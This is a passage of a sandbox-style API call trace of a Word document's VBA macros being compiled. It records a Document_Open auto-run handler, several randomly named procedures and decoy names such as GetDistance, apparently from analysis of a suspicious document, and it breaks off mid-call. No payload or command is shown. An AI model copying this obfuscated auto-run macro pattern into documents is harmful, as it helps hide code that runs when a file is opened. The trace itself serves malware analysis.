cchWideChar=31, lpMultiByteStr=0x266ba0, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\System32\\stdole2.tlbce\\Office16\\MSWORD.OLB", lpUsedDefaultChar=0x0) returned 31 [0036.959] strcpy_s (in: _Dst=0x8160c98, _DstSize=0x20, _Src="C:\\Windows\\System32\\stdole2.tlb" | out: _Dst="C:\\Windows\\System32\\stdole2.tlb") returned 0x0 [0036.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="stdole", cchWideChar=7, lpMultiByteStr=0x266cb0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="stdole", lpUsedDefaultChar=0x0) returned 7 [0036.959] strcpy_s (in: _Dst=0x8160cc0, _DstSize=0x7, _Src="stdole" | out: _Dst="stdole") returned 0x0 [0036.959] IUnknown:AddRef (This=0x7f8b1f0) returned 0x9 [0036.959] ITypeLib:LocalReleaseTLibAttr (This=0x7f8b1f0) returned 0x0 [0036.959] IUnknown:Release (This=0x7f8b1f0) returned 0x8 [0036.960] IMalloc:Realloc (This=0x7feff045380, pv=0x0, cb=0x20) returned 0x81c8d20 [0036.960] _wcsicmp (_String1="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _String2="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 2 [0036.960] _wcsicmp (_String1="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _String2="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library") returned 2 [0036.960] _wcsicmp (_String1="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _String2="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\System32\\stdole2.tlb#OLE Automation") returned 2 [0036.960] _wcsicmp (_String1="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _String2="*\\CNormal") returned 4 [0036.960] _wcsicmp (_String1="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _String2="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library") returned 0 [0036.960] IUnknown:AddRef (This=0x81c0d20) returned 0x6 [0036.961] ITypeLib:RemoteGetLibAttr (in: This=0x81c0d20, ppTLibAttr=0x266b18, pDummy=0x0 | out: ppTLibAttr=0x266b18, pDummy=0x0) returned 0x0 [0036.961] ITypeLib:RemoteGetDocumentation (in: This=0x81c0d20, index=-1, refPtrFlags=0x266b30, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0036.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", cchWideChar=63, lpMultiByteStr=0x266ba0, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL", lpUsedDefaultChar=0x0) returned 63 [0036.961] strcpy_s (in: _Dst=0x8160d30, _DstSize=0x40, _Src="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL" | out: _Dst="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL") returned 0x0 [0036.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Office", cchWideChar=7, lpMultiByteStr=0x266cb0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Office", lpUsedDefaultChar=0x0) returned 7 [0036.961] strcpy_s (in: _Dst=0x8160d78, _DstSize=0x7, _Src="Office" | out: _Dst="Office") returned 0x0 [0036.961] IUnknown:AddRef (This=0x81c0d20) returned 0x7 [0036.961] ITypeLib:LocalReleaseTLibAttr (This=0x81c0d20) returned 0x0 [0036.961] IUnknown:Release (This=0x81c0d20) returned 0x6 [0036.961] IMalloc:Free (This=0x7feff045380, pv=0x8228fc0) [0036.961] ITypeInfo:RemoteGetTypeAttr (in: This=0x8087de0, ppTypeAttr=0x266778, pDummy=0x81e7bc0 | out: ppTypeAttr=0x266778, pDummy=0x81e7bc0*=0x7) returned 0x0 [0036.961] ITypeInfo:LocalReleaseTypeAttr (This=0x8087de0) returned 0x0 [0036.961] IUnknown:Release (This=0x8087de0) returned 0x2 [0036.962] IMalloc:Alloc (This=0x7feff045380, cb=0x118) returned 0x8270ca0 [0036.962] IMalloc:Alloc (This=0x7feff045380, cb=0xe80) returned 0x827a570 [0036.962] ITypeInfo:RemoteGetTypeAttr (in: This=0x8087e90, ppTypeAttr=0x266758, pDummy=0x266794 | out: ppTypeAttr=0x266758, pDummy=0x266794*=0xffffffff) returned 0x0 [0036.962] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087e90, index=0x0, ppFuncDesc=0x266750, pDummy=0x266798 | out: ppFuncDesc=0x266750, pDummy=0x266798*=0x8087e90) returned 0x0 [0036.962] ITypeInfo:LocalReleaseFuncDesc (This=0x8087e90) returned 0x0 [0036.962] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087e90, index=0x1, ppFuncDesc=0x266750, pDummy=0x100 | out: ppFuncDesc=0x266750, pDummy=0x100) returned 0x0 [0036.962] ITypeInfo:LocalReleaseFuncDesc (This=0x8087e90) returned 0x0 [0036.962] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087e90, index=0x2, ppFuncDesc=0x266750, pDummy=0x100 | out: ppFuncDesc=0x266750, pDummy=0x100) returned 0x0 [0036.962] ITypeInfo:LocalReleaseFuncDesc (This=0x8087e90) returned 0x0 [0036.962] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087e90, index=0x3, ppFuncDesc=0x266750, pDummy=0x100 | out: ppFuncDesc=0x266750, pDummy=0x100) returned 0x0 [0036.962] ITypeInfo:LocalReleaseFuncDesc (This=0x8087e90) returned 0x0 [0036.962] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087e90, index=0x4, ppFuncDesc=0x266750, pDummy=0x100 | out: ppFuncDesc=0x266750, pDummy=0x100) returned 0x0 [0036.962] ITypeInfo:LocalReleaseFuncDesc (This=0x8087e90) returned 0x0 [0036.962] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087e90, index=0x5, ppFuncDesc=0x266750, pDummy=0x100 | out: ppFuncDesc=0x266750, pDummy=0x100) returned 0x0 [0036.962] ITypeInfo:LocalReleaseFuncDesc (This=0x8087e90) returned 0x0 [0036.962] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087e90, index=0x6, ppFuncDesc=0x266750, pDummy=0x100 | out: ppFuncDesc=0x266750, pDummy=0x100) returned 0x0 [0036.962] ITypeInfo:LocalReleaseFuncDesc (This=0x8087e90) returned 0x0 [0036.962] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087e90, index=0x7, ppFuncDesc=0x266750, pDummy=0x100 | out: ppFuncDesc=0x266750, pDummy=0x100) returned 0x0 [0036.962] ITypeInfo:LocalReleaseFuncDesc (This=0x8087e90) returned 0x0 [0036.962] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087e90, index=0x8, ppFuncDesc=0x266750, pDummy=0x100 | out: ppFuncDesc=0x266750, pDummy=0x100) returned 0x0 [0036.962] ITypeInfo:LocalReleaseFuncDesc (This=0x8087e90) returned 0x0 [0036.962] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087e90, index=0x9, ppFuncDesc=0x266750, pDummy=0x100 | out: ppFuncDesc=0x266750, pDummy=0x100) returned 0x0 [0036.962] ITypeInfo:LocalReleaseFuncDesc (This=0x8087e90) returned 0x0 [0036.962] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087e90, index=0xa, ppFuncDesc=0x266750, pDummy=0x100 | out: ppFuncDesc=0x266750, pDummy=0x100) returned 0x0 [0036.962] ITypeInfo:LocalReleaseFuncDesc (This=0x8087e90) returned 0x0 [0036.962] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087e90, index=0xb, ppFuncDesc=0x266750, pDummy=0x100 | out: ppFuncDesc=0x266750, pDummy=0x100) returned 0x0 [0036.962] ITypeInfo:LocalReleaseFuncDesc (This=0x8087e90) returned 0x0 [0036.962] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087e90, index=0xc, ppFuncDesc=0x266750, pDummy=0x100 | out: ppFuncDesc=0x266750, pDummy=0x100) returned 0x0 [0036.962] ITypeInfo:LocalReleaseFuncDesc (This=0x8087e90) returned 0x0 [0036.962] ITypeInfo:LocalReleaseTypeAttr (This=0x8087e90) returned 0x0 [0036.962] ITypeInfo:RemoteGetTypeAttr (in: This=0x8087e90, ppTypeAttr=0x266758, pDummy=0x266794 | out: ppTypeAttr=0x266758, pDummy=0x266794*=0xffffffff) returned 0x0 [0036.962] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087e90, index=0x0, ppFuncDesc=0x266750, pDummy=0xd0 | out: ppFuncDesc=0x266750, pDummy=0xd0) returned 0x0 [0036.963] ITypeInfo:LocalReleaseFuncDesc (This=0x8087e90) returned 0x0 [0036.963] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087e90, index=0x1, ppFuncDesc=0x266750, pDummy=0xd0 | out: ppFuncDesc=0x266750, pDummy=0xd0) returned 0x0 [0036.963] ITypeInfo:LocalReleaseFuncDesc (This=0x8087e90) returned 0x0 [0036.963] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087e90, index=0x2, ppFuncDesc=0x266750, pDummy=0xd0 | out: ppFuncDesc=0x266750, pDummy=0xd0) returned 0x0 [0036.963] ITypeInfo:LocalReleaseFuncDesc (This=0x8087e90) returned 0x0 [0036.963] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087e90, index=0x3, ppFuncDesc=0x266750, pDummy=0xd0 | out: ppFuncDesc=0x266750, pDummy=0xd0) returned 0x0 [0036.963] ITypeInfo:LocalReleaseFuncDesc (This=0x8087e90) returned 0x0 [0036.963] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087e90, index=0x4, ppFuncDesc=0x266750, pDummy=0xd0 | out: ppFuncDesc=0x266750, pDummy=0xd0) returned 0x0 [0036.963] ITypeInfo:LocalReleaseFuncDesc (This=0x8087e90) returned 0x0 [0036.963] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087e90, index=0x5, ppFuncDesc=0x266750, pDummy=0xd0 | out: ppFuncDesc=0x266750, pDummy=0xd0) returned 0x0 [0036.963] ITypeInfo:LocalReleaseFuncDesc (This=0x8087e90) returned 0x0 [0036.963] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087e90, index=0x6, ppFuncDesc=0x266750, pDummy=0xd0 | out: ppFuncDesc=0x266750, pDummy=0xd0) returned 0x0 [0036.963] ITypeInfo:LocalReleaseFuncDesc (This=0x8087e90) returned 0x0 [0036.963] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087e90, index=0x7, ppFuncDesc=0x266750, pDummy=0xd0 | out: ppFuncDesc=0x266750, pDummy=0xd0) returned 0x0 [0036.963] ITypeInfo:LocalReleaseFuncDesc (This=0x8087e90) returned 0x0 [0036.963] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087e90, index=0x8, ppFuncDesc=0x266750, pDummy=0xd0 | out: ppFuncDesc=0x266750, pDummy=0xd0) returned 0x0 [0036.963] ITypeInfo:LocalReleaseFuncDesc (This=0x8087e90) returned 0x0 [0036.963] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087e90, index=0x9, ppFuncDesc=0x266750, pDummy=0xd0 | out: ppFuncDesc=0x266750, pDummy=0xd0) returned 0x0 [0036.963] ITypeInfo:LocalReleaseFuncDesc (This=0x8087e90) returned 0x0 [0036.963] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087e90, index=0xa, ppFuncDesc=0x266750, pDummy=0xd0 | out: ppFuncDesc=0x266750, pDummy=0xd0) returned 0x0 [0036.963] ITypeInfo:LocalReleaseFuncDesc (This=0x8087e90) returned 0x0 [0036.963] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087e90, index=0xb, ppFuncDesc=0x266750, pDummy=0xd0 | out: ppFuncDesc=0x266750, pDummy=0xd0) returned 0x0 [0036.963] ITypeInfo:LocalReleaseFuncDesc (This=0x8087e90) returned 0x0 [0036.963] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087e90, index=0xc, ppFuncDesc=0x266750, pDummy=0xd0 | out: ppFuncDesc=0x266750, pDummy=0xd0) returned 0x0 [0036.963] ITypeInfo:LocalReleaseFuncDesc (This=0x8087e90) returned 0x0 [0036.963] ITypeInfo:LocalReleaseTypeAttr (This=0x8087e90) returned 0x0 [0036.963] IUnknown:Release (This=0x8087e90) returned 0x7 [0036.963] IMalloc:Alloc (This=0x7feff045380, cb=0x50) returned 0x805f290 [0036.963] IMalloc:Alloc (This=0x7feff045380, cb=0x50) returned 0x805f230 [0036.963] IMalloc:Alloc (This=0x7feff045380, cb=0x50) returned 0x805f2f0 [0036.963] IMalloc:Alloc (This=0x7feff045380, cb=0x50) returned 0x805f350 [0036.963] IMalloc:Alloc (This=0x7feff045380, cb=0x18) returned 0x81b4020 [0036.963] IUnknown:QueryInterface (in: This=0x8087e90, riid=0x7fee4090b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x266068 | out: ppvObject=0x266068*=0x0) returned 0x80004002 [0036.963] ITypeInfo:RemoteGetTypeAttr (in: This=0x8087e90, ppTypeAttr=0x266060, pDummy=0x10 | out: ppTypeAttr=0x266060, pDummy=0x10) returned 0x0 [0036.963] IUnknown:QueryInterface (in: This=0x8087e90, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x265fd8 | out: ppvObject=0x265fd8*=0x0) returned 0x80004002 [0036.963] IUnknown:AddRef (This=0x8087e90) returned 0x8 [0036.963] ITypeInfo:RemoteGetTypeAttr (in: This=0x8087e90, ppTypeAttr=0x265fd0, pDummy=0x10 | out: ppTypeAttr=0x265fd0, pDummy=0x10) returned 0x0 [0036.963] ITypeInfo:LocalReleaseTypeAttr (This=0x8087e90) returned 0x0 [0036.963] IUnknown:Release (This=0x8087e90) returned 0x7 [0036.963] strcpy_s (in: _Dst=0x815d8f0, _DstSize=0x9, _Src="Document" | out: _Dst="Document") returned 0x0 [0036.963] IMalloc:Alloc (This=0x7feff045380, cb=0xc8) returned 0x8225890 [0036.963] ITypeInfo:RemoteGetTypeAttr (in: This=0x8087e90, ppTypeAttr=0x265f90, pDummy=0x8087e90 | out: ppTypeAttr=0x265f90, pDummy=0x8087e90*=0xff4207b0) returned 0x0 [0036.963] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x8087e90, ppTLib=0x265f98, pIndex=0x265fd8 | out: ppTLib=0x265f98*=0x7f887c0, pIndex=0x265fd8*=0x20e) returned 0x0 [0036.964] ITypeLib:RemoteGetLibAttr (in: This=0x7f887c0, ppTLibAttr=0x265c88, pDummy=0x0 | out: ppTLibAttr=0x265c88, pDummy=0x0) returned 0x0 [0036.964] ITypeLib:RemoteGetDocumentation (in: This=0x7f887c0, index=-1, refPtrFlags=0x265ca0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x265d78 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x265d78) returned 0x0 [0036.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", cchWideChar=53, lpMultiByteStr=0x265d10, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\Office16\\MSWORD.OLB", lpUsedDefaultChar=0x0) returned 53 [0036.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Word", cchWideChar=5, lpMultiByteStr=0x265e20, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Word", lpUsedDefaultChar=0x0) returned 5 [0036.964] ITypeLib:LocalReleaseTLibAttr (This=0x7f887c0) returned 0x0 [0036.964] IMalloc:Realloc (This=0x7feff045380, pv=0x0, cb=0x412) returned 0x3f08a60 [0036.964] IMalloc:Alloc (This=0x7feff045380, cb=0x230) returned 0x8160e60 [0036.964] IUnknown:AddRef (This=0x8087e90) returned 0x8 [0036.964] IUnknown:Release (This=0x7f887c0) returned 0x13 [0036.964] ITypeInfo:LocalReleaseTypeAttr (This=0x8087e90) returned 0x0 [0036.964] ITypeInfo:LocalReleaseTypeAttr (This=0x8087e90) returned 0x0 [0036.965] IMalloc:Alloc (This=0x7feff045380, cb=0x3a) returned 0x7ff44e0 [0036.965] IMalloc:Realloc (This=0x7feff045380, pv=0x0, cb=0x412) returned 0x3f08eb0 [0036.965] strcpy_s (in: _Dst=0x815dc18, _DstSize=0xe, _Src="s33ace8fdc5c9" | out: _Dst="s33ace8fdc5c9") returned 0x0 [0036.966] _mbscpy_s (in: _Dst=0x265bc0, _DstSizeInBytes=0xc, _Src=0x2ff2bc2 | out: _Dst=0x265bc0) returned 0x0 [0036.966] IMalloc:Alloc (This=0x7feff045380, cb=0x68) returned 0x81a0fa0 [0036.966] IMalloc:Alloc (This=0x7feff045380, cb=0x230) returned 0x81610b0 [0036.966] strcpy_s (in: _Dst=0x81610d8, _DstSize=0xc, _Src="GetDuration" | out: _Dst="GetDuration") returned 0x0 [0036.966] strcpy_s (in: _Dst=0x815dc30, _DstSize=0x6, _Src="start" | out: _Dst="start") returned 0x0 [0036.966] strcpy_s (in: _Dst=0x815dc40, _DstSize=0x5, _Src="dest" | out: _Dst="dest") returned 0x0 [0036.966] IMalloc:Alloc (This=0x7feff045380, cb=0x26d) returned 0x827b400 [0036.966] IMalloc:GetSize (This=0x7feff045380, pv=0x827b400) returned 0x26d [0036.966] IMalloc:GetSize (This=0x7feff045380, pv=0x827b400) returned 0x26d [0036.966] IMalloc:GetSize (This=0x7feff045380, pv=0x827b400) returned 0x26d [0036.966] IMalloc:GetSize (This=0x7feff045380, pv=0x827b400) returned 0x26d [0036.966] GetCurrentProcess () returned 0xffffffffffffffff [0036.966] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x827b400, dwSize=0x5d) returned 1 [0036.966] IMalloc:Free (This=0x7feff045380, pv=0x827b400) [0036.966] IMalloc:Alloc (This=0x7feff045380, cb=0x230) returned 0x8277f50 [0036.966] _mbscpy_s (in: _Dst=0x265bc0, _DstSizeInBytes=0x11, _Src=0x2ff2f9a | out: _Dst=0x265bc0) returned 0x0 [0036.966] IMalloc:Alloc (This=0x7feff045380, cb=0x88) returned 0x819dfe0 [0036.967] strcpy_s (in: _Dst=0x81610f0, _DstSize=0x11, _Src="GetDistanceCoord" | out: _Dst="GetDistanceCoord") returned 0x0 [0036.967] strcpy_s (in: _Dst=0x815dc50, _DstSize=0x5, _Src="lat1" | out: _Dst="lat1") returned 0x0 [0036.967] strcpy_s (in: _Dst=0x815dc60, _DstSize=0x5, _Src="lon1" | out: _Dst="lon1") returned 0x0 [0036.967] strcpy_s (in: _Dst=0x815dc70, _DstSize=0x5, _Src="lat2" | out: _Dst="lat2") returned 0x0 [0036.967] strcpy_s (in: _Dst=0x815dc80, _DstSize=0x5, _Src="lon2" | out: _Dst="lon2") returned 0x0 [0036.967] strcpy_s (in: _Dst=0x815dc90, _DstSize=0x5, _Src="unit" | out: _Dst="unit") returned 0x0 [0036.967] IMalloc:Alloc (This=0x7feff045380, cb=0x26d) returned 0x827b400 [0036.967] IMalloc:GetSize (This=0x7feff045380, pv=0x827b400) returned 0x26d [0036.967] IMalloc:GetSize (This=0x7feff045380, pv=0x827b400) returned 0x26d [0036.967] IMalloc:GetSize (This=0x7feff045380, pv=0x827b400) returned 0x26d [0036.967] IMalloc:GetSize (This=0x7feff045380, pv=0x827b400) returned 0x26d [0036.967] IMalloc:GetSize (This=0x7feff045380, pv=0x827b400) returned 0x26d [0036.967] IMalloc:GetSize (This=0x7feff045380, pv=0x827b400) returned 0x26d [0036.968] IMalloc:GetSize (This=0x7feff045380, pv=0x827b400) returned 0x26d [0036.968] GetCurrentProcess () returned 0xffffffffffffffff [0036.968] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x827b400, dwSize=0x93) returned 1 [0036.968] IMalloc:Free (This=0x7feff045380, pv=0x827b400) [0036.968] _mbscpy_s (in: _Dst=0x265bc0, _DstSizeInBytes=0x8, _Src=0x2ff3132 | out: _Dst=0x265bc0) returned 0x0 [0036.968] IMalloc:Alloc (This=0x7feff045380, cb=0x60) returned 0x81a1010 [0036.968] strcpy_s (in: _Dst=0x8161110, _DstSize=0x8, _Src="deg2rad" | out: _Dst="deg2rad") returned 0x0 [0036.968] strcpy_s (in: _Dst=0x815dca0, _DstSize=0x4, _Src="deg" | out: _Dst="deg") returned 0x0 [0036.968] IMalloc:Alloc (This=0x7feff045380, cb=0x26d) returned 0x827b400 [0036.968] IMalloc:GetSize (This=0x7feff045380, pv=0x827b400) returned 0x26d [0036.968] IMalloc:GetSize (This=0x7feff045380, pv=0x827b400) returned 0x26d [0036.968] IMalloc:GetSize (This=0x7feff045380, pv=0x827b400) returned 0x26d [0036.968] GetCurrentProcess () returned 0xffffffffffffffff [0036.968] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x827b400, dwSize=0x57) returned 1 [0036.968] IMalloc:Free (This=0x7feff045380, pv=0x827b400) [0036.968] IMalloc:Alloc (This=0x7feff045380, cb=0x230) returned 0x82781a0 [0036.968] _mbscpy_s (in: _Dst=0x265bc0, _DstSizeInBytes=0x8, _Src=0x2ff31da | out: _Dst=0x265bc0) returned 0x0 [0036.968] IMalloc:Alloc (This=0x7feff045380, cb=0x60) returned 0x81a1080 [0036.968] strcpy_s (in: _Dst=0x8161120, _DstSize=0x8, _Src="rad2deg" | out: _Dst="rad2deg") returned 0x0 [0036.968] strcpy_s (in: _Dst=0x815dcb0, _DstSize=0x4, _Src="rad" | out: _Dst="rad") returned 0x0 [0036.968] IMalloc:Alloc (This=0x7feff045380, cb=0x26d) returned 0x827b400 [0036.968] IMalloc:GetSize (This=0x7feff045380, pv=0x827b400) returned 0x26d [0036.968] IMalloc:GetSize (This=0x7feff045380, pv=0x827b400) returned 0x26d [0036.968] IMalloc:GetSize (This=0x7feff045380, pv=0x827b400) returned 0x26d [0036.968] GetCurrentProcess () returned 0xffffffffffffffff [0036.968] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x827b400, dwSize=0x57) returned 1 [0036.968] IMalloc:Free (This=0x7feff045380, pv=0x827b400) [0036.968] _mbscpy_s (in: _Dst=0x265bc0, _DstSizeInBytes=0xe, _Src=0x2ff326e | out: _Dst=0x265bc0) returned 0x0 [0036.968] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Document") returned 0x10d36a [0036.968] _mbscpy_s (in: _Dst=0x265bc0, _DstSizeInBytes=0xe, _Src=0x265bc9 | out: _Dst=0x265bc0) returned 0x0 [0036.969] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Open") returned 0x100767 [0036.969] IUnknown:Release (This=0x8087e90) returned 0x8 [0036.969] IUnknown:AddRef (This=0x8087e90) returned 0x9 [0036.969] _mbscpy_s (in: _Dst=0x265b80, _DstSizeInBytes=0xe, _Src=0x2ff326e | out: _Dst=0x265b80) returned 0x0 [0036.969] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Document") returned 0x10d36a [0036.969] _mbscpy_s (in: _Dst=0x265b80, _DstSizeInBytes=0xe, _Src=0x265b89 | out: _Dst=0x265b80) returned 0x0 [0036.969] IUnknown:Release (This=0x8087e90) returned 0x8 [0036.969] IMalloc:Alloc (This=0x7feff045380, cb=0x48) returned 0x7ff4530 [0036.969] strcpy_s (in: _Dst=0x8161130, _DstSize=0xe, _Src="Document_Open" | out: _Dst="Document_Open") returned 0x0 [0036.969] IMalloc:Alloc (This=0x7feff045380, cb=0x26d) returned 0x827b400 [0036.969] IMalloc:GetSize (This=0x7feff045380, pv=0x827b400) returned 0x26d [0036.969] GetCurrentProcess () returned 0xffffffffffffffff [0036.969] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x827b400, dwSize=0x45) returned 1 [0036.969] IMalloc:Free (This=0x7feff045380, pv=0x827b400) [0036.969] IMalloc:Alloc (This=0x7feff045380, cb=0x230) returned 0x82783f0 [0036.969] IMalloc:Alloc (This=0x7feff045380, cb=0x30) returned 0x7e688c0 [0036.969] IMalloc:Alloc (This=0x7feff045380, cb=0x26d) returned 0x827b400 [0036.969] IMalloc:GetSize (This=0x7feff045380, pv=0x827b400) returned 0x26d [0036.969] GetCurrentProcess () returned 0xffffffffffffffff [0036.969] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x827b400, dwSize=0x45) returned 1 [0036.969] IMalloc:Free (This=0x7feff045380, pv=0x827b400) [0036.969] _mbscpy_s (in: _Dst=0x265bc0, _DstSizeInBytes=0xc, _Src=0x2ff335a | out: _Dst=0x265bc0) returned 0x0 [0036.969] IMalloc:Alloc (This=0x7feff045380, cb=0x60) returned 0x81a10f0 [0036.969] strcpy_s (in: _Dst=0x8161148, _DstSize=0xc, _Src="n8cfe4c59ad" | out: _Dst="n8cfe4c59ad") returned 0x0 [0036.969] strcpy_s (in: _Dst=0x815dcc0, _DstSize=0xf, _Src="j2664a23fa3e66" | out: _Dst="j2664a23fa3e66") returned 0x0 [0036.969] IMalloc:Alloc (This=0x7feff045380, cb=0x26d) returned 0x827b400 [0036.969] IMalloc:GetSize (This=0x7feff045380, pv=0x827b400) returned 0x26d [0036.969] IMalloc:GetSize (This=0x7feff045380, pv=0x827b400) returned 0x26d [0036.969] IMalloc:GetSize (This=0x7feff045380, pv=0x827b400) returned 0x26d [0036.969] GetCurrentProcess () returned 0xffffffffffffffff [0036.969] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x827b400, dwSize=0x55) returned 1 [0036.969] IMalloc:Free (This=0x7feff045380, pv=0x827b400) [0036.970] _mbscpy_s (in: _Dst=0x265bc0, _DstSizeInBytes=0xc, _Src=0x2ff329e | out: _Dst=0x265bc0) returned 0x0 [0036.970] IMalloc:Alloc (This=0x7feff045380, cb=0x60) returned 0x81a1160 [0036.970] strcpy_s (in: _Dst=0x8161160, _DstSize=0xc, _Src="v6c45839c88" | out: _Dst="v6c45839c88") returned 0x0 [0036.970] IMalloc:Alloc (This=0x7feff045380, cb=0x230) returned 0x8278640 [0036.970] IMalloc:Alloc (This=0x7feff045380, cb=0x26d) returned 0x827b400 [0036.970] IMalloc:GetSize (This=0x7feff045380, pv=0x827b400) returned 0x26d [0036.970] IMalloc:GetSize (This=0x7feff045380, pv=0x827b400) returned 0x26d [0036.970] IMalloc:GetSize (This=0x7feff045380, pv=0x827b400) returned 0x26d [0036.970] GetCurrentProcess () returned 0xffffffffffffffff [0036.970] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x827b400, dwSize=0x55) returned 1 [0036.970] IMalloc:Free (This=0x7feff045380, pv=0x827b400) [0036.970] _mbscpy_s (in: _Dst=0x265bc0, _DstSizeInBytes=0xc, _Src=0x2ff352a | out: _Dst=0x265bc0) returned 0x0 [0036.970] IMalloc:Alloc (This=0x7feff045380, cb=0x68) returned 0x81a11d0 [0036.970] strcpy_s (in: _Dst=0x8161178, _DstSize=0xc, _Src="GetDistance" | out: _Dst="GetDistance") returned 0x0 [0036.970] IMalloc:Alloc (This=0x7feff045380, cb=0x26d) returned 0x827b400 [0036.970] IMalloc:GetSize (This=0x7feff045380, pv=0x827b400) returned 0x26d [0036.970] IMalloc:GetSize (This=0x7feff045380, pv=0x827b400) returned 0x26d [0036.970] IMalloc:GetSize (This=0x7feff045380, pv=0x827b400) returned 0x26d [0036.970] IMalloc:GetSize (This=0x7feff045380, pv=0x827b400) returned 0x26d [0036.970] GetCurrentProcess () returned 0xffffffffffffffff [0036.970] FlushInstructionCache (hProcess=0xffffffffffffffff, 